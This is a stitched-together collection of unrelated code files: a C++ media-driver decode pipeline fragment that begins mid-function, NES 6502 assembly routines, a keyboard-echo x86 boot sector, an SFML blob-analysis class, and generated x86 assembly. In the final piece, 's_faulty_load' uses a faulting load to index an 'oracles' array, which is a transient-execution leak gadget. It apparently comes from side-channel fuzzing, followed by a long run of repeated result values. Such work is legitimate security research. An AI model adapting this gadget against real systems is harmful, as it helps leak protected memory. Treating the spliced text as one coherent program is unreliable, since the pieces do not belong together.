MOS_Delete(m_subPacketManager);
MOS_Delete(m_allocator);
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::UserFeatureReport()
{
DECODE_FUNC_CALL();
return MediaPipeline::UserFeatureReport();
}
bool DecodePipeline::IsFirstProcessPipe(const DecodePipelineParams& pipelineParams)
{
if (pipelineParams.m_pipeMode != decodePipeModeProcess)
{
return false;
}
CodechalDecodeParams *decodeParams = pipelineParams.m_params;
if (decodeParams == nullptr)
{
return false;
}
return (decodeParams->m_executeCallIndex == 0);
}
uint8_t DecodePipeline::GetSystemVdboxNumber()
{
uint8_t numVdbox = 1;
MEDIA_SYSTEM_INFO *gtSystemInfo = m_osInterface->pfnGetGtSystemInfo(m_osInterface);
if (gtSystemInfo != nullptr)
{
// Both VE mode and media solo mode should be able to get the VDBOX number via the same interface
numVdbox = (uint8_t)(gtSystemInfo->VDBoxInfo.NumberOfVDBoxEnabled);
}
return numVdbox;
}
MOS_STATUS DecodePipeline::Prepare(void *params)
{
DECODE_FUNC_CALL();
DECODE_CHK_NULL(params);
DecodePipelineParams *pipelineParams = (DecodePipelineParams *)params;
CodechalDecodeParams *decodeParams = pipelineParams->m_params;
DECODE_CHK_NULL(decodeParams);
DECODE_CHK_STATUS(m_task->Clear());
m_activePacketList.clear();
DECODE_CHK_NULL(m_featureManager);
DECODE_CHK_STATUS(m_featureManager->CheckFeatures(decodeParams));
DECODE_CHK_STATUS(m_featureManager->Update(decodeParams));
if (m_decodecp)
{
m_decodecp->UpdateParams(true);
}
DECODE_CHK_STATUS(m_subPacketManager->Prepare());
DECODE_CHK_STATUS(Mos_Solo_SetGpuAppTaskEvent(m_osInterface, decodeParams->m_gpuAppTaskEvent));
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::ExecuteActivePackets()
{
DECODE_FUNC_CALL();
MOS_TraceEventExt(EVENT_PIPE_EXE, EVENT_TYPE_START, nullptr, 0, nullptr, 0);
// Last element in m_activePacketList must be immediately submitted
m_activePacketList.back().immediateSubmit = true;
for (PacketProperty prop : m_activePacketList)
{
prop.stateProperty.singleTaskPhaseSupported = m_singleTaskPhaseSupported;
prop.stateProperty.statusReport = m_statusReport;
MOS_TraceEventExt(EVENT_PIPE_EXE, EVENT_TYPE_INFO, &prop.packetId, sizeof(uint32_t), nullptr, 0);
MediaTask *task = prop.packet->GetActiveTask();
DECODE_CHK_STATUS(task->AddPacket(&prop));
if (prop.immediateSubmit)
{
DECODE_CHK_STATUS(task->Submit(true, m_scalability, m_debugInterface));
}
}
m_activePacketList.clear();
MOS_TraceEventExt(EVENT_PIPE_EXE, EVENT_TYPE_END, nullptr, 0, nullptr, 0);
return MOS_STATUS_SUCCESS;
}
bool DecodePipeline::IsCompleteBitstream()
{
return (m_bitstream == nullptr) ? false : m_bitstream->IsComplete();
}
#ifdef _DECODE_PROCESSING_SUPPORTED
bool DecodePipeline::IsDownSamplingSupported()
{
DECODE_ASSERT(m_subPacketManager != nullptr);
DecodeDownSamplingPkt *downSamplingPkt = dynamic_cast<DecodeDownSamplingPkt *>(
GetSubPacket(DecodePacketId(this, downSamplingSubPacketId)));
if (downSamplingPkt == nullptr)
{
return false;
}
return downSamplingPkt->IsSupported();
}
#endif
MOS_SURFACE* DecodePipeline::GetDummyReference()
{
auto* feature = dynamic_cast<DecodeBasicFeature*>(m_featureManager->GetFeature(FeatureIDs::basicFeature));
return (feature != nullptr) ? &(feature->m_dummyReference) : nullptr;
}
CODECHAL_DUMMY_REFERENCE_STATUS DecodePipeline::GetDummyReferenceStatus()
{
auto* feature = dynamic_cast<DecodeBasicFeature*>(m_featureManager->GetFeature(FeatureIDs::basicFeature));
return (feature != nullptr) ? feature->m_dummyReferenceStatus : CODECHAL_DUMMY_REFERENCE_INVALID;
}
void DecodePipeline::SetDummyReferenceStatus(CODECHAL_DUMMY_REFERENCE_STATUS status)
{
auto* feature = dynamic_cast<DecodeBasicFeature*>(m_featureManager->GetFeature(FeatureIDs::basicFeature));
if (feature != nullptr)
{
feature->m_dummyReferenceStatus = status;
}
}
#if USE_CODECHAL_DEBUG_TOOL
#ifdef _DECODE_PROCESSING_SUPPORTED
MOS_STATUS DecodePipeline::DumpDownSamplingParams(DecodeDownSamplingFeature &downSamplingParams)
{
CODECHAL_DEBUG_FUNCTION_ENTER;
if (!m_debugInterface->DumpIsEnabled(CodechalDbgAttr::attrDecodeProcParams))
{
return MOS_STATUS_SUCCESS;
}
if(!downSamplingParams.IsEnabled())
{
return MOS_STATUS_SUCCESS;
}
DECODE_CHK_NULL(downSamplingParams.m_inputSurface);
std::ostringstream oss;
oss.setf(std::ios::showbase | std::ios::uppercase);
oss << "Input Surface Resolution: "
<< +downSamplingParams.m_inputSurface->dwWidth << " x " << +downSamplingParams.m_inputSurface->dwHeight << std::endl;
oss << "Input Region Resolution: "
<< +downSamplingParams.m_inputSurfaceRegion.m_width << " x " << +downSamplingParams.m_inputSurfaceRegion.m_height << std::endl;
oss << "Input Region Offset: ("
<< +downSamplingParams.m_inputSurfaceRegion.m_x << "," << +downSamplingParams.m_inputSurfaceRegion.m_y << ")" << std::endl;
oss << "Input Surface Format: "
<< (downSamplingParams.m_inputSurface->Format == Format_NV12 ? "NV12" : "P010" )<< std::endl;
oss << "Output Surface Resolution: "
<< +downSamplingParams.m_outputSurface.dwWidth << " x " << +downSamplingParams.m_outputSurface.dwHeight << std::endl;
oss << "Output Region Resolution: "
<< +downSamplingParams.m_outputSurfaceRegion.m_width << " x " << +downSamplingParams.m_outputSurfaceRegion.m_height << std::endl;
oss << "Output Region Offset: ("
<< +downSamplingParams.m_outputSurfaceRegion.m_x << ", " << +downSamplingParams.m_outputSurfaceRegion.m_y << ")" << std::endl;
oss << "Output Surface Format: "
<< (downSamplingParams.m_outputSurface.Format == Format_NV12 ? "NV12" : "YUY2" )<< std::endl;
const char* filePath = m_debugInterface->CreateFileName(
"_DEC",
CodechalDbgBufferType::bufDecProcParams,
CodechalDbgExtType::txt);
std::ofstream ofs(filePath, std::ios::out);
ofs << oss.str();
ofs.close();
return MOS_STATUS_SUCCESS;
}
#endif
MOS_STATUS DecodePipeline::DumpOutput(const DecodeStatusReportData& reportData)
{
DECODE_FUNC_CALL();
if (m_debugInterface->DumpIsEnabled(CodechalDbgAttr::attrDecodeOutputSurface))
{
MOS_SURFACE dstSurface;
MOS_ZeroMemory(&dstSurface, sizeof(dstSurface));
dstSurface.Format = Format_NV12;
dstSurface.OsResource = reportData.currDecodedPicRes;
DECODE_CHK_STATUS(m_allocator->GetSurfaceInfo(&dstSurface));
DECODE_CHK_STATUS(m_debugInterface->DumpYUVSurface(
&dstSurface, CodechalDbgAttr::attrDecodeOutputSurface, "DstSurf"));
}
#ifdef _DECODE_PROCESSING_SUPPORTED
DecodeDownSamplingFeature* downSamplingFeature = dynamic_cast<DecodeDownSamplingFeature*>(
m_featureManager->GetFeature(DecodeFeatureIDs::decodeDownSampling));
if (downSamplingFeature != nullptr && downSamplingFeature->IsEnabled())
{
if (reportData.currSfcOutputPicRes != nullptr &&
m_debugInterface->DumpIsEnabled(CodechalDbgAttr::attrSfcOutputSurface))
{
MOS_SURFACE sfcDstSurface;
MOS_ZeroMemory(&sfcDstSurface, sizeof(sfcDstSurface));
sfcDstSurface.Format = Format_NV12;
sfcDstSurface.OsResource = *reportData.currSfcOutputPicRes;
if (!Mos_ResourceIsNull(&sfcDstSurface.OsResource))
{
DECODE_CHK_STATUS(m_allocator->GetSurfaceInfo(&sfcDstSurface));
DECODE_CHK_STATUS(m_debugInterface->DumpYUVSurface(
&sfcDstSurface, CodechalDbgAttr::attrSfcOutputSurface, "SfcDstSurf"));
}
}
}
#endif
return MOS_STATUS_SUCCESS;
}
#endif
#if (_DEBUG || _RELEASE_INTERNAL)
MOS_STATUS DecodePipeline::ReportVdboxIds(const DecodeStatusMfx& status)
{
DECODE_FUNC_CALL();
// report the VDBOX IDs to user feature
uint32_t vdboxIds = ReadUserFeature(__MEDIA_USER_FEATURE_VALUE_VDBOX_ID_USED, m_osInterface->pOsContext).u32Data;
for (auto i = 0; i < csInstanceIdMax; i++)
{
CsEngineId csEngineId;
csEngineId.value = status.m_mmioCsEngineIdReg[i];
if (csEngineId.value != 0)
{
DECODE_ASSERT(csEngineId.fields.classId == classIdVideoEngine);
DECODE_ASSERT(csEngineId.fields.instanceId < csInstanceIdMax);
vdboxIds |= 1 << ((csEngineId.fields.instanceId) << 2);
}
}
if (vdboxIds != 0)
{
WriteUserFeature(__MEDIA_USER_FEATURE_VALUE_VDBOX_ID_USED, vdboxIds, m_osInterface->pOsContext);
}
return MOS_STATUS_SUCCESS;
}
MOS_STATUS DecodePipeline::StatusCheck()
{
DECODE_FUNC_CALL();
uint32_t completedCount = m_statusReport->GetCompletedCount();
if (completedCount <= m_statusCheckCount)
{
DECODE_CHK_COND(completedCount < m_statusCheckCount, "Invalid statuc check count");
return MOS_STATUS_SUCCESS;
}
DecodeStatusReport* statusReport = dynamic_cast<DecodeStatusReport*>(m_statusReport);
DECODE_CHK_NULL(statusReport);
while (m_statusCheckCount < completedCount)
{
const DecodeStatusMfx& status = statusReport->GetMfxStatus(m_statusCheckCount);
if (status.status != DecodeStatusReport::queryEnd)
{
DECODE_NORMALMESSAGE("Media reset may have occured at frame %d, status is %d, completedCount is %d.",
m_statusCheckCount, status.status, completedCount);
}
DECODE_NORMALMESSAGE("hucStatus2 is 0x%x at frame %d.", status.m_hucErrorStatus2, m_statusCheckCount);
DECODE_NORMALMESSAGE("hucStatus is 0x%x at frame %d.", status.m_hucErrorStatus, m_statusCheckCount);
DECODE_CHK_STATUS(ReportVdboxIds(status));
#if USE_CODECHAL_DEBUG_TOOL
const DecodeStatusReportData& reportData = statusReport->GetReportData(m_statusCheckCount);
auto bufferDumpNumTemp = m_debugInterface->m_bufferDumpFrameNum;
auto currPicTemp = m_debugInterface->m_currPic;
auto frameTypeTemp = m_debugInterface->m_frameType;
m_debugInterface->m_bufferDumpFrameNum = m_statusCheckCount;
m_debugInterface->m_currPic = reportData.currDecodedPic;
m_debugInterface->m_frameType = reportData.frameType;
DECODE_CHK_STATUS(DumpOutput(reportData));
m_debugInterface->m_bufferDumpFrameNum = bufferDumpNumTemp;
m_debugInterface->m_currPic = currPicTemp;
m_debugInterface->m_frameType = frameTypeTemp;
#endif
m_statusCheckCount++;
}
return MOS_STATUS_SUCCESS;
}
#endif
}
|
fetch_controllers:
.(
; Fetch controllers state
lda #$01
sta CONTROLLER_A
lda #$00
sta CONTROLLER_A
; x will contain the controller number to fetch (0 or 1)
ldx #$00
fetch_one_controller:
; Save previous state of the controller
lda controller_a_btns, x
sta controller_a_last_frame_btns, x
; Reset the controller's byte
lda #$00
sta controller_a_btns, x
; Fetch the controller's byte button by button
ldy #$08
next_btn:
lda CONTROLLER_A, x
and #%00000011
cmp #1
rol controller_a_btns, x
dey
bne next_btn
; Next controller
inx
cpx #$02
bne fetch_one_controller
rts
.)
; Wait the next frame, returns once NMI is complete
wait_next_frame:
.(
lda #$01
sta nmi_processing
waiting:
lda nmi_processing
bne waiting
rts
.)
; Perform multibyte signed comparison
; tmpfield6 - a (low)
; tmpfield7 - a (high)
; tmpfield8 - b (low)
; tmpfield9 - b (high)
;
; Output - N flag set if "a < b", unset otherwise
; C flag set if "(unsigned)a < (unsigned)b", unset otherwise
; Overwrites register A
;
; See also the macro with the same name (capitalized)
signed_cmp:
.(
; Trick from http://www.6502.org/tutorials/compare_beyond.html
a_low = tmpfield6
a_high = tmpfield7
b_low = tmpfield8
b_high = tmpfield9
lda a_low
cmp b_low
lda a_high
sbc b_high
bvc end
eor #%10000000
end:
rts
.)
; Change A to its absolute unsigned value
absolute_a:
.(
cmp #$00
bpl end
eor #%11111111
clc
adc #$01
end:
rts
.)
; Multiply tmpfield1 by tmpfield2 in tmpfield3
; tmpfield1 - multiplicand (low byte)
; tmpfield2 - multiplicand (high byte)
; tmpfield3 - multiplier
; Result stored in tmpfield4 (low byte) and tmpfield5 (high byte)
;
; Overwrites register A, tmpfield4 and tmpfield5
multiply:
.(
multiplicand_low = tmpfield1
multiplicand_high = tmpfield2
multiplier = tmpfield3
result_low = tmpfield4
result_high = tmpfield5
; Save X, we do not want it to be altered by this subroutine
txa
pha
; Set multiplier to X to be used as a loop count
lda multiplier
tax
; Initialize result's value
lda #$00
sta result_low
sta result_high
additions_loop:
; Check if we finished
cpx #$00
beq end
; Add multiplicand to the result
lda result_low
clc
adc multiplicand_low
sta result_low
lda result_high
adc multiplicand_high
sta result_high
; Iterate until we looped "multiplier" times
dex
jmp additions_loop
end:
; Restore X
pla
tax
rts
.)
; Set register X to the offset of the continuation byte of the first empty
; nametable buffer
;
; Overwrites register A
last_nt_buffer:
.(
ldx #$00
handle_buff:
; Check continuation byte
lda nametable_buffers, x
beq end
; Point to the tiles counter
inx
inx
inx
; Add tile counts to X (effectively points on the last tile)
txa
clc
adc nametable_buffers, x
tax
; Next
inx
jmp handle_buff
end:
rts
.)
; Empty the list of nametable buffers
reset_nt_buffers:
.(
lda #$00
sta nametable_buffers
rts
.)
; A routine doing nothing, it can be used as dummy entry in jump tables
dummy_routine:
.(
rts
.)
; Change global game state, without trigerring any transition code
; tmpfield1,tmpfield2 - new state initialization routine
; tmpfield3 - new game state
;
; NOTE - the initialization routine is called while rendering is active (unlike change_global_game_state)
; WARNING - This routine never returns. It changes the state then restarts the main loop.
change_global_game_state_lite:
.(
init_routine = tmpfield1 ; Not movable, parameter of call_pointed_subroutine
init_routinei_msb = tmpfield2 ;
new_state = tmpfield3
; Save previous game state and set the global_game_state variable
lda global_game_state
sta previous_global_game_state
lda new_state
sta global_game_state
; Move all sprites offscreen
ldx #$00
lda #$fe
clr_sprites:
sta oam_mirror, x ;move all sprites off screen
inx
inx
inx
inx
bne clr_sprites
; Call the appropriate initialization routine
jsr call_pointed_subroutine
; Clear stack
ldx #$ff
txs
; Go straight to the main loop
jmp forever
.)
; Copy a compressed nametable to PPU
; tmpfield1 - compressed nametable address (low)
; tmpfield2 - compressed nametable address (high)
;
; Overwrites all registers, tmpfield1 and tmpfield2
draw_zipped_nametable:
.(
compressed_nametable = tmpfield1
lda PPUSTATUS
lda #$20
sta PPUADDR
lda #$00
sta PPUADDR
ldy #$00
load_background:
lda (compressed_nametable), y
beq opcode
; Standard byte, just write it to PPUDATA
normal_byte:
sta PPUDATA
jsr next_byte
jmp load_background
; Got the opcode
opcode:
jsr next_byte ;
lda (compressed_nametable), y ; Load parameter in a, if it is zero it means that
beq end ; the nametable is over
tax ;
lda #$00 ;
write_one_byte: ; Write 0 the number of times specified by parameter
sta PPUDATA ;
dex ;
bne write_one_byte ;
jsr next_byte ; Continue reading the table
jmp load_background ;
end:
rts
next_byte:
.(
inc compressed_nametable
bne end_inc_vector
inc compressed_nametable+1
end_inc_vector:
rts
.)
.)
; Allows to inderectly call a pointed subroutine normally with jsr
; tmpfield1,tmpfield2 - subroutine to call
call_pointed_subroutine:
.(
jmp (tmpfield1)
.)
; Copy a palette from a palettes table to the ppu
; register X - PPU address LSB (MSB is fixed to $3f)
; tmpfield1 - palette number in the table
; tmpfield2, tmpfield3 - table's address
;
; Overwrites registers
copy_palette_to_ppu:
.(
palette_index = tmpfield1
palette_table = tmpfield2
lda PPUSTATUS
lda #$3f
sta PPUADDR
txa
sta PPUADDR
lda palette_index
asl
;clc ; useless, asl shall not overflow
adc palette_index
tay
ldx #3
copy_one_color:
lda (palette_table), y
sta PPUDATA
iny
dex
bne copy_one_color
rts
.)
shake_screen:
.(
; Change scrolling possition a little
lda screen_shake_nextval_x
eor #%11111111
clc
adc #1
sta screen_shake_nextval_x
sta scroll_x
lda screen_shake_nextval_y
eor #%11111111
clc
adc #1
sta screen_shake_nextval_y
sta scroll_y
; Adapt screen number to Y scrolling
; Litle negative values are set at the end of screen 2
lda scroll_y
cmp #240
bcs set_screen_two
lda #%10010000
jmp set_screen
set_screen_two:
clc
adc #240
sta scroll_y
lda #%10010010
set_screen:
sta ppuctrl_val
; Decrement screen shake counter
dec screen_shake_counter
bne end
; Shaking is over, reset the scrolling
lda #$00
sta scroll_y
sta scroll_x
lda #%10010000
sta ppuctrl_val
end:
rts
.)
#define NEXT_BYTE .(:\
iny:\
bne end_inc_vector:\
inc compressed_nametable+1:\
end_inc_vector:\
.)
#define GOT_BYTE .(:\
sty local_tmp:\
ldy current:\
sta (dest), y:\
inc current:\
ldy local_tmp:\
.)
; Unzip a chunk of a compressed nametable
; tmpfield1 - zipped data address (low)
; tmpfield2 - zipped data address (high)
; tmpfield3 - unzipped data offset (low)
; tmpfield4 - unzipped data offset (high)
; tmpfield5 - unzipped data count
; tmpfield6 - unzipped data destination (low)
; tmpfield7 - unzipped data destination (high)
;
; Overwrites all registers, tmpfield1-10
get_unzipped_bytes:
.(
compressed_nametable = tmpfield1
offset = tmpfield3
count = tmpfield5
dest = tmpfield6
current = tmpfield8
zero_counter = tmpfield9 ; WARNING - used temporarily, read the code before using it
local_tmp = tmpfield10
lda #0
sta current
ldx #0
ldy #0
skip_bytes:
.(
; Decrement offset, stop on zero
.(
lda offset
bne no_carry
carry:
lda offset+1
beq end_skip_bytes
dec offset+1
no_carry:
dec offset
.)
loop_without_dec:
; Take action,
; - output a zero if in compressed series
; - output the byte on normal bytes
; - init compressed series on opcode
cpx #0
bne compressed_zero
lda (compressed_nametable), y
beq opcode
normal_byte:
NEXT_BYTE
jmp skip_bytes
opcode:
; X = number of uncompressed zeros to output
NEXT_BYTE
lda (compressed_nametable), y
tax
NEXT_BYTE
; Skip iterating on useless zeros
; note - This code checks only offset's msb to know if offset > X.
; It could be finer grained to gain some cycles (to be tested on need)
.(
lda offset+1
beq done
skip_all:
stx zero_counter
ldx #0
sec
lda offset
sbc zero_counter
sta offset
lda offset+1
sbc #0
sta offset+1
done:
.)
jmp loop_without_dec ; force the loop, we did not get uncompressed byte
compressed_zero:
dex
jmp skip_bytes
end_skip_bytes:
.)
get_bytes:
.(
; Take action,
; - output a zero if in compressed series
; - output the byte on normal bytes
; - init compressed series on opcode
cpx #0
bne compressed_zero
lda (compressed_nametable), y
beq opcode
normal_byte:
GOT_BYTE
NEXT_BYTE
ldx #0
jmp loop_get_bytes
opcode:
NEXT_BYTE
lda (compressed_nametable), y
tax
NEXT_BYTE
jmp get_bytes ; force the loop, we did not get uncompressed byte
compressed_zero:
stx zero_counter
lda #0
GOT_BYTE
ldx zero_counter
dex
;jmp loop_get_bytes ; useless fallthrough
; Check loop count
loop_get_bytes:
dec count
force_loop_get_bytes:
bne get_bytes
.)
end:
rts
.)
#undef NEXT_BYTE
#undef GOT_BYTE
|
org 0x7c00
jmp LABEL_START
LABEL_START:
mov ah, 0
int 0x16 ; 获取键盘输入
mov ah, 0x0e
int 0x10 ; 显示字符
jmp LABEL_START
times 510-($-$$) db 0
dw 0xaa55
|
#include "blobAnalysis.hpp"
#include <iostream>
#include <cmath>
#include <list>
// --------------------------------------------------------------------------
BlobAnalysis::BlobAnalysis()
{
initialize();
}
// --------------------------------------------------------------------------
BlobAnalysis::~BlobAnalysis()
{
cleanup();
}
// --------------------------------------------------------------------------
void BlobAnalysis::initialize()
{
}
// --------------------------------------------------------------------------
void BlobAnalysis::cleanup()
{
}
// --------------------------------------------------------------------------
bool checkBound(const sf::Vector2i& pos, const sf::Vector2u& size)
{
return pos.x>=0 && pos.x<(int)size.x && pos.y>=0 && pos.y<(int)size.y;
}
// --------------------------------------------------------------------------
const sf::Image& BlobAnalysis::apply( const sf::Image& input)
{
// reset analysis data
sf::Vector2u size = input.getSize();
m_image.create(size.x,size.y,sf::Color(0,0,0,0));
m_result.clear();
std::list<sf::Vector2i> queue;
unsigned int curr_label = 0;
// search for un-scanned pixel to add in queue
for(int x=0;x<(int)size.x;++x) for(int y=0;y<(int)size.y;++y)
{
sf::Vector2i position(x,y);
unsigned int l = m_image.getPixel(x,y).toInteger();
sf::Color value = input.getPixel(x,y);
// if valid pixel with non label
if(value.r > 200 && l==0)
{
// set curr label
Group n; n.label = ++curr_label;
// update image, add to queue and record result
m_image.setPixel(x,y,sf::Color(n.label));
queue.push_back(position);
sf::Vector2i rpos(position.x,size.y-position.y); // inverse Y
n.position.push_back(rpos);
m_result.push_back(n);
}
// if pixel wait in queue, check connected
while( !queue.empty() )
{
// unqueue
sf::Vector2i qpos = queue.front();
queue.pop_front();
// scan neighbors pixels
for(int oftx=-1;oftx<=1;++oftx) for(int ofty=-1;ofty<=1;++ofty)
{
sf::Vector2i position2 = qpos + sf::Vector2i(oftx,ofty);
if( checkBound(position2, size) )
{
sf::Color value2 = input.getPixel(position2.x,position2.y);
unsigned int l2 = m_image.getPixel(position2.x,position2.y).toInteger();
// if valid pixel with non label
if(value2.r > 50 && l2==0)
{
// set curr label
l2 = curr_label;
// update image, add to queue and record result
m_image.setPixel(position2.x,position2.y,sf::Color(l2));
queue.push_back(position2);
sf::Vector2i rpos(position2.x,size.y-position2.y); // inverse Y
m_result.back().position.push_back(rpos);
}
}
}// scan neighbors pixels
}
}
// visualization pass
for(int x=0;x<(int)size.x;++x) for(int y=0;y<(int)size.y;++y)
{
float l = float(m_image.getPixel(x,y).toInteger());
l /= float(curr_label);
l *= 16777215; // 255.0;
m_image.setPixel(x,y,sf::Color(int(l)));
}
return m_image;
}
// --------------------------------------------------------------------------
const sf::Image& BlobAnalysis::getResultAsImage()
{
return m_image;
}
|
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r11
push %r14
push %r9
push %rax
push %rcx
push %rdi
push %rsi
lea addresses_WC_ht+0x868a, %r11
nop
nop
nop
nop
nop
and %r14, %r14
mov $0x6162636465666768, %r10
movq %r10, %xmm4
movups %xmm4, (%r11)
nop
nop
nop
nop
and %r9, %r9
lea addresses_A_ht+0x85dc, %rsi
nop
nop
nop
nop
add %rdi, %rdi
movl $0x61626364, (%rsi)
nop
nop
nop
nop
nop
sub %rsi, %rsi
lea addresses_WC_ht+0xa700, %r10
nop
nop
sub %r11, %r11
mov (%r10), %r9w
nop
nop
inc %rax
lea addresses_normal_ht+0x25bc, %rsi
lea addresses_normal_ht+0xcdbc, %rdi
nop
nop
nop
xor $25307, %rax
mov $16, %rcx
rep movsl
nop
nop
nop
dec %r14
lea addresses_UC_ht+0x12dbc, %r9
xor $29512, %r14
mov (%r9), %rcx
nop
nop
nop
inc %r11
lea addresses_D_ht+0x10dbc, %rsi
nop
and %rdi, %rdi
vmovups (%rsi), %ymm0
vextracti128 $1, %ymm0, %xmm0
vpextrq $1, %xmm0, %r11
nop
nop
nop
sub $14974, %rdi
lea addresses_WC_ht+0x29c4, %rsi
lea addresses_D_ht+0x31bc, %rdi
nop
mfence
mov $94, %rcx
rep movsq
nop
inc %rdi
lea addresses_WC_ht+0x11f84, %rsi
lea addresses_A_ht+0x1143c, %rdi
nop
nop
sub $62985, %r9
mov $59, %rcx
rep movsb
nop
cmp %rsi, %rsi
lea addresses_UC_ht+0x1c9c, %r14
nop
nop
nop
nop
and $58978, %r11
movb (%r14), %al
inc %rcx
pop %rsi
pop %rdi
pop %rcx
pop %rax
pop %r9
pop %r14
pop %r11
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r8
push %r9
push %rbp
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_WT+0xfee0, %rdi
nop
nop
nop
nop
dec %rbx
movb $0x51, (%rdi)
nop
nop
nop
dec %r8
// Store
lea addresses_RW+0x871c, %rbp
nop
nop
sub $3250, %rdx
movw $0x5152, (%rbp)
nop
add $38773, %rbp
// REPMOV
mov $0x34631e00000005bc, %rsi
lea addresses_A+0xd246, %rdi
nop
nop
inc %r8
mov $29, %rcx
rep movsw
nop
nop
nop
nop
dec %r8
// Store
lea addresses_US+0xb8bc, %rsi
nop
nop
nop
nop
cmp $19198, %rcx
movl $0x51525354, (%rsi)
nop
nop
nop
nop
cmp %rcx, %rcx
// Store
lea addresses_A+0x1c5c, %rdx
xor $28899, %rdi
movl $0x51525354, (%rdx)
nop
add $56105, %rbx
// Faulty Load
lea addresses_PSE+0x1b5bc, %rsi
nop
nop
cmp %r8, %r8
movb (%rsi), %bl
lea oracles, %rcx
and $0xff, %rbx
shlq $12, %rbx
mov (%rcx,%rbx,1), %rbx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rbp
pop %r9
pop %r8
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_PSE', 'same': False, 'size': 8, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'dst': {'type': 'addresses_WT', 'same': False, 'size': 1, 'congruent': 2, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_RW', 'same': False, 'size': 2, 'congruent': 5, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'src': {'type': 'addresses_NC', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A', 'congruent': 1, 'same': False}, 'OP': 'REPM'}
{'dst': {'type': 'addresses_US', 'same': False, 'size': 4, 'congruent': 8, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
[Faulty Load]
{'src': {'type': 'addresses_PSE', 'same': True, 'size': 1, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'type': 'addresses_WC_ht', 'same': False, 'size': 16, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'STOR'}
{'dst': {'type': 'addresses_A_ht', 'same': False, 'size': 4, 'congruent': 4, 'NT': False, 'AVXalign': True}, 'OP': 'STOR'}
{'src': {'type': 'addresses_WC_ht', 'same': True, 'size': 2, 'congruent': 1, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal_ht', 'congruent': 10, 'same': False}, 'dst': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': True}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 8, 'congruent': 10, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_D_ht', 'same': False, 'size': 32, 'congruent': 11, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 1, 'same': True}, 'dst': {'type': 'addresses_D_ht', 'congruent': 8, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_WC_ht', 'congruent': 3, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 6, 'same': False}, 'OP': 'REPM'}
{'src': {'type': 'addresses_UC_ht', 'same': False, 'size': 1, 'congruent': 4, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
{'33': 13560}
33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 